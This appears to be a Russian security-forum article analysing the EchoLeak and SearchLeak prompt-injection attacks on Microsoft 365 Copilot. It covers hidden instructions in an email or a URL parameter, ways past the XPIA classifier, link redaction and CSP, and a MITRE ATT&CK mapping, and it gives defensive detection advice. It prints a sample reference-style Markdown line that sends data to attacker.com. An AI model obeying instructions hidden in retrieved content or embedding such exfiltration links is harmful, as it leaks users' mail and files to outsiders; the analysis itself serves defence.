В июне 2025 года исследователи Aim Labs (aim.security) выложили в паблик EchoLeak - первую задокументированную zero-click prompt injection атаку в production AI-системе. Одно письмо в Outlook, ноль кликов со стороны жертвы, полная эксфильтрация данных из Microsoft 365 Copilot. Координированное раскрытие через MSRC - январь 2025, технические детали - arxiv:2509.10540 (сентябрь 2025). CVE-2025-32711, CVSS 9.3 (Critical, по данным MSRC; в NVD на момент публикации отсутствует). Следом исследователи Varonis нашли SearchLeak - цепочку из трёх уязвимостей (CVE-2026-42824, reserved CVE ID), позволявшую красть почту, документы и данные встреч по одной ссылке. Обе дыры закрыты серверными патчами Microsoft, но паттерн атаки на RAG-системы корпоративного класса - рабочий, воспроизводимый и применимый к любой LLM-интеграции с доступом к внутренним данным. И вот тут становится интересно.
Бизнес-логика атаки: зачем атакующему ваш Copilot
Copilot - не чат-бот для красивых ответов. Это агент с доступом ко всему, что видит пользователь в Microsoft 365: почта Outlook, чаты Teams, файлы OneDrive, библиотеки SharePoint, события календаря. По документации Microsoft, Copilot обращается к данным через Microsoft Graph и наследует права доступа авторизованного пользователя. Компрометация Copilot = доступ ко всему, к чему имеет доступ сотрудник. Через один вектор. Без компрометации учётной записи. Подробнее - в нашем руководстве по безопасность llm приложений.В терминах MITRE ATT&CK атакующий через Copilot одновременно получает:
- Сбор данных из почты - Remote Email Collection (T1114.002, Collection)
- Доступ к корпоративным файлам - SharePoint (T1213.002, Collection)
- Данные из облачного хранилища - Data from Cloud Storage (T1530, Collection)
- Возможность внутреннего фишинга - Internal Spearphishing (T1534, Lateral Movement)
- Использование токенов приложения - Application Access Token (T1550.001, Lateral Movement)
По данным LayerX Security, примерно 15% критически важных файлов в типичной организации подвержены риску утечки из-за непреднамеренных моделей совместного доступа. Copilot не создаёт новых дыр - он усиливает существующий oversharing, делая обнаружение и эксплуатацию тривиальным.
RAG-архитектура Copilot и риски LLM в корпоративной среде
Microsoft 365 Copilot построен на архитектуре Retrieval-Augmented Generation (RAG). При каждом запросе пользователя происходит четыре шага: Copilot получает промпт; через Microsoft Graph извлекает релевантные документы, письма и чаты; объединяет извлечённый контекст с промптом и системными инструкциями; LLM генерирует ответ на основе всего объединённого контекста.
Фундаментальная проблема: LLM не различает системные инструкции, пользовательский ввод и извлечённые данные. Для модели всё это - последовательность токенов, обрабатываемая одинаково. Авторы arxiv-публикации по EchoLeak формулируют точно: "LLMs do not understand this content in a semantic sense; instead, they predict sequences of tokens based on statistical patterns learned during training. The injected context influences these predictions, enabling more targeted responses. However, this same mechanism also creates an attack surface.""LLMки не понимают этот контент в семантическом смысле; вместо, они прогназируют последовательности токенов основанных на статистических паттернах обучения во время тренировки. Введенный контекст влияет на эти прогнозы, позволяя наносить более целенаправленные ответы. Однако этот же механизм также создает поверхность для атаки." Если в извлечённом документе или письме спрятаны вредоносные инструкции - LLM выполнит их как часть штатной задачи. Просто потому что не умеет отличать.
Именно этот вектор OWASP LLM Top 10 (2025) ставит на первое место - Prompt Injection (LLM01:2025): "Crafted user input alters LLM behavior, bypassing safety controls or extracting confidential info.""Специально подобранные пользовательские данные изменяют поведение LLM, обходя средства защиты или извлекая конфиденциальную информацию." Indirect prompt injection - когда вредоносные инструкции приходят не от пользователя, а из внешнего источника данных - наиболее опасен, поскольку пользователь не видит и не контролирует этот ввод.
В терминологии MITRE ATT&CK это Content Injection (T1659, тактики Initial Access и Command-and-Control) - атакующий внедряет контент в доверенный канал, который затем обрабатывается целевой системой.
Что защищает Microsoft
По документации Microsoft, Copilot работает с несколькими уровнями защиты: блокировка вредоносного контента, детекция protected materials и блокировка prompt injection (jailbreak attacks). Данные промптов, ответов и обращений через Microsoft Graph не используются для обучения базовых LLM. Звучит солидно. Но EchoLeak и SearchLeak показали, что все эти механизмы обходятся при определённых условиях.Модель доверия и её ограничения
Microsoft Graph соблюдает права доступа: Copilot показывает только данные, к которым пользователь имеет view-доступ. Но корпоративная реальность другая - в организациях без регулярного аудита права нередко настроены избыточно. Copilot превращает пассивный oversharing (файл доступен, но его никто не ищет) в активную утечку данных через LLM (файл попадает в контекст ответа AI-помощника). Для атакующего достаточно заставить Copilot обратиться к нужным данным - доступ у сотрудника уже есть.EchoLeak: zero-click prompt injection и утечка данных через LLM
EchoLeak - первая задокументированная zero-click prompt injection атака в production AI-системе. По публикации Aim Labs и академическому описанию (arxiv:2509.10540v1), уязвимость позволяла удалённому неаутентифицированному атакующему извлечь конфиденциальные данные из сессии Copilot без какого-либо взаимодействия со стороны жертвы. Ноль кликов - не фигура речи.
Цепочка атаки: от письма до эксфильтрации
Initial Access - доставка payload. Атакующий отправляет email на Outlook жертвы. Письмо содержит скрытую prompt injection инструкцию, замаскированную HTML-комментариями или невидимыми элементами разметки. Для пользователя письмо выглядит обычным - вредоносный контент скрыт от визуального отображения, но полностью парсится RAG-движком Copilot.Collection - автоматическая обработка RAG. Когда жертва задаёт Copilot бизнес-вопрос (например, "суммаризуй мои последние письма" или "подготовь обзор по проекту"), RAG-движок извлекает письма из Outlook - включая письмо атакующего. Скрытые инструкции попадают в контекст LLM наравне с легитимными данными. Модель не видит разницы.
Exfiltration - формирование ссылки. Вредоносная инструкция заставляет Copilot встроить конфиденциальные данные из контекста в URL reference-style Markdown-ссылки:
Markdown (GitHub flavored):
![img][ref]
[ref]: https://attacker.com/exfil?data=SENSITIVE_CONTEXT
Обход защитных механизмов
По arxiv-публикации, EchoLeak обходил три уровня защиты:XPIA-классификатор (Cross Prompt Injection Attempt) - Microsoft-классификатор для детекции prompt injection. Payload был crafted так, чтобы не триггерить паттерны XPIA.
Link redaction - Copilot удалял внешние ссылки из ответов. EchoLeak использовал reference-style Markdown (ссылка определяется отдельно от места использования), который не подпадал под правила очистки. Типичная ситуация: санитайзер знает про text, но не знает про
[ref]: url.Content Security Policy - CSP блокировала запросы к неизвестным доменам. EchoLeak использовал Teams preview API как разрешённый CSP прокси. CSP allowlist стал вектором обхода CSP - ирония.
Предусловия и ограничения
Работает если: Copilot имеет доступ к Outlook inbox жертвы; CSP разрешает Teams preview API; XPIA-классификатор не обновлён (до серверного патча Microsoft, май 2025).Не работает если: организация отключила доступ Copilot к email; Microsoft развернула серверный патч (с мая 2025); CSP настроена без Teams preview endpoint.
Microsoft подтвердила, что эксплуатация в дикой природе не зафиксирована, и развернула серверный патч. Действий со стороны клиентов не требовалось. Координированное раскрытие (Aim Security -> MSRC, январь 2025; патч - май 2025; публикация - июнь 2025) предотвратило ущерб.
SearchLeak (CVE-2026-42824): три уязвимости в одной цепочке
SearchLeak - цепочка уязвимостей, обнаруженная исследователями Varonis. Microsoft присвоила единый идентификатор CVE-2026-42824 всей цепочке (reserved CVE ID, год в идентификаторе - год присвоения номера, не год публикации).
По данным NVD: CVSS 6.5 (MEDIUM), вектор CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N. Классификация NVD: CWE-77 (Improper Neutralization of Special Elements Used in a Command), хотя технически цепочка включает prompt injection, race condition при HTML-рендеринге и SSRF-класс эксфильтрации. Описание NVD: "Improper neutralization of special elements used in a command ('command injection') in M365 Copilot allows an unauthorized attacker to disclose information over a network.""Некорректная нейтрализация специальных элементов, используемых в команде ('внедрение команд') в M365 Copilot, позволяет неавторизованному злоумышленнику передавать информацию по сети."
Интерпретация вектора: атака через сеть (AV:N) с низкой сложностью (AC:L), не требует привилегий (PR:N), но требует одно действие пользователя - клик по ссылке (UI:R). Высокая угроза конфиденциальности (C:H), нет влияния на целостность и доступность (I:N, A:N).
В отличие от EchoLeak, SearchLeak - не zero-click: жертва должна перейти по ссылке. Отсюда и разница в CVSS (6.5 vs 9.3 у EchoLeak).
Этап 1: Parameter-to-prompt injection
Microsoft 365 Copilot Search принимает URL-параметрq для поисковых запросов. Copilot Enterprise Search работает с корпоративными данными: почта, встречи, файлы SharePoint и OneDrive. Атакующий формирует URL с инструкциями в параметре q, предписывающими Copilot выполнить поиск в почтовом ящике жертвы и оформить результаты в определённом формате. Как описали исследователи Varonis: "Жертве не нужно ничего вводить, достаточно нажать на ссылку, а всё остальное делает Copilot."Этап 2: Race condition при рендеринге HTML
Во время потоковой генерации ответа Copilot браузер временно отображает необработанный HTML до того, как он будет помещён в теги<code>, где контент обезвреживается. HTML-тег <img>, контролируемый атакующим, успевает выполниться и инициировать исходящий запрос до завершения очистки. Окно эксплуатации - время между началом стриминга ответа и финализацией DOM-рендеринга. Классический race condition, но в новом контексте.Этап 3: SSRF через Bing
Функция Bing "Поиск по изображению" используется для отправки запроса к серверу атакующего. Bing - домен в CSP allowlist Copilot. Исследователи Varonis формулируют метко: "Bing становится невольным прокси для вывода данных. Классическая SSRF-атака, которая скрывается прямо на виду за записью в allowlist CSP."Полная цепочка SearchLeak
- Жертва переходит по специально созданной ссылке
- Copilot Search выполняет поиск по инструкциям из параметра
q - Copilot генерирует ответ с тегом
<img>, содержащим украденные данные в URL - Во время потокового рендеринга браузер отправляет запрос к Bing
- Bing загружает URL атакующего с украденными данными в параметрах
Предусловия и ограничения
Работает если: жертва кликает по ссылке (UI:R); Copilot Search доступен в организации; Bing preview API разрешён CSP; патч CVE-2026-42824 ещё не развёрнут.Не работает если: Microsoft развернула патч (CVE-2026-42824 уже исправлен); организация ограничила Copilot Search; CSP настроена без Bing preview endpoint.
Ключевой вывод исследователей Varonis: привычные уязвимости вроде SSRF и race condition при HTML-инъекции превращаются в полноценные цепочки эксфильтрации, когда становится возможна инъекция инструкций в промпт LLM. Старые классы уязвимостей, новые способы эксплуатации.
Маппинг на MITRE ATT&CK: место атак на Copilot в kill chain
Обе атаки укладываются в одну kill chain. Маппинг на конкретные техники:| Этап kill chain | ATT&CK-техника | Роль в атаке на Copilot |
|---|---|---|
| Initial Access | Content Injection (T1659) | Внедрение prompt injection через email или URL-параметр |
| Cloud Accounts (T1078.004) | Copilot действует от имени легитимного cloud account жертвы, но атакующий сам его не компрометирует | |
| Collection | Remote Email Collection (T1114.002) | Copilot извлекает письма по скрытой инструкции атакующего |
| Collection | SharePoint (T1213.002) | Copilot обращается к файлам SharePoint как часть RAG-контекста |
| Collection | Data from Cloud Storage (T1530) | Доступ к OneDrive через Graph API от имени пользователя |
| Lateral Movement | Application Access Token (T1550.001) | Copilot оперирует OAuth-токенами пользователя |
| Lateral Movement | Internal Spearphishing (T1534) | Copilot может генерировать ответы со встроенными вредоносными ссылками |
| Resource Development | Artificial Intelligence (T1588.007) | Атакующий использует возможности AI для автоматизации сбора данных |
Ключевой паттерн: атакующий не компрометирует учётную запись. Он заставляет AI-агента действовать в своих интересах, оставаясь в рамках легитимных операций Copilot. В аудит-логах это неотличимо от штатной работы помощника. Для blue team это кошмар.
Детект и мониторинг: что искать в логах при атаках на Microsoft Copilot
Обнаружение prompt injection в Copilot - задача нетривиальная. Вредоносные операции маскируются под легитимные запросы AI-помощника. Готовых SIEM-сигнатур для этого класса атак нет. Но ряд подходов работает уже сейчас - при условии, что вы знаете, куда смотреть.Microsoft Purview
Purview сохраняет историю взаимодействий с Copilot: промпты пользователя, ответы и ссылки на использованные источники. Администраторы могут использовать Content Search и Purview для просмотра этих данных и настройки retention-политик.На что обращать внимание при threat hunting (конкретные KQL-запросы зависят от конфигурации Purview audit - см. Microsoft Learn: "Search the audit log for Copilot activities" и схему CopilotInteraction):
- Ответы Copilot с внешними URL, не инициированными пользователем
- Паттерны reference-style Markdown в ответах (конструкции
[ref]: https://...) - Обращения к нетипичным источникам данных (письма от внешних отправителей, использованные как контекст для бизнес-запросов)
- Аномально длинные URL в ответах с параметрами, содержащими base64 или закодированные строки
Defender for Cloud Apps
Мониторинг аномальных паттернов доступа через Graph API: массовое чтение писем или файлов в рамках одной сессии Copilot; обращения к данным, к которым пользователь ранее не обращался; скачки объёма операций чтения, совпадающие с запросами к Copilot.Сетевой мониторинг
Для SearchLeak-класса атак - отслеживание исходящих запросов к Bing preview API с параметрами, содержащими внутренние данные. Для EchoLeak-класса - мониторинг запросов к Teams-related preview endpoint с нетипичными URL-назначениями (конкретный домен - см. отчёт Aim Labs).Trade-off таблица подходов к детекту
| Подход | Что покрывает | Что не покрывает | Когда применять |
|---|---|---|---|
| Purview Content Search | История промптов и ответов Copilot | Детект в реальном времени | Расследование инцидентов, ретроспективный threat hunting |
| Defender for Cloud Apps | Аномалии доступа через Graph API | Содержимое промптов, скрытые инструкции | Мониторинг в реальном времени, alerting |
| DLP-политики Purview | Блокировка передачи данных по classification labels | Prompt injection без чувствительных меток | Превентивный контроль |
| Сетевой мониторинг (proxy/DLP) | Исходящие запросы с данными в параметрах | Трафик к MS-доменам в CSP allowlist | Обнаружение SSRF-класса эксфильтрации |
| Ручной аудит логов Copilot | Глубокий анализ подозрительных сессий | Масштабирование, скорость реакции | Точечные проверки по IOC |
Ни один подход не покрывает всё. Реальный детект - комбинация Purview для ретроспективы, Defender for Cloud Apps для realtime и сетевого мониторинга для ловли SSRF-экфильтрации.
Чеклист: защита данных Microsoft Copilot в корпоративной среде
Готовый список действий для security-инженера или администратора M365. Каждый пункт - конкретное действие, которое можно передать сисадмину или включить в отчёт.
📚 Часть контента скрыта. Этот материал доступен участникам сообщества с рангом One Level или выше
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме
Два года назад prompt injection казался академическим курьёзом из CTF-задач. EchoLeak и SearchLeak показали: indirect prompt injection в корпоративных RAG-системах - рабочий класс уязвимостей с реальным импактом. Компании раскатывают Copilot на тысячи пользователей раньше, чем проводят аудит прав доступа в SharePoint. Результат предсказуем.
AI-помощник не пробивает новые дыры в периметре - он усиливает существующие до уровня, который был невозможен до его появления. Раньше oversharing в OneDrive означал, что теоретически кто-то мог найти чужой файл. Теперь oversharing означает, что Copilot сам подсунет этот файл в контекст ответа, а атакующий вытащит содержимое через SSRF или auto-fetched image.
Microsoft может закрывать конкретные цепочки - reference-style Markdown, Teams proxy, Bing SSRF. Но фундаментальная проблема - LLM не различает инструкции и данные - пока не имеет системного решения. Это не баг, который пофиксят в следующем патче. Это свойство архитектуры transformer-моделей. Перед раскаткой любого AI-помощника security-инженер должен задать один вопрос: "к каким данным агент имеет доступ и через какие каналы он принимает ненадёжный ввод?" Если ответ на вторую часть включает email, чаты или общие документы - вы уже на поверхности атаки prompt injection. Принцип наименьших привилегий для AI - не абстракция на будущее, а задача, которую нужно было решать до выдачи лицензий Copilot.
Последнее редактирование модератором: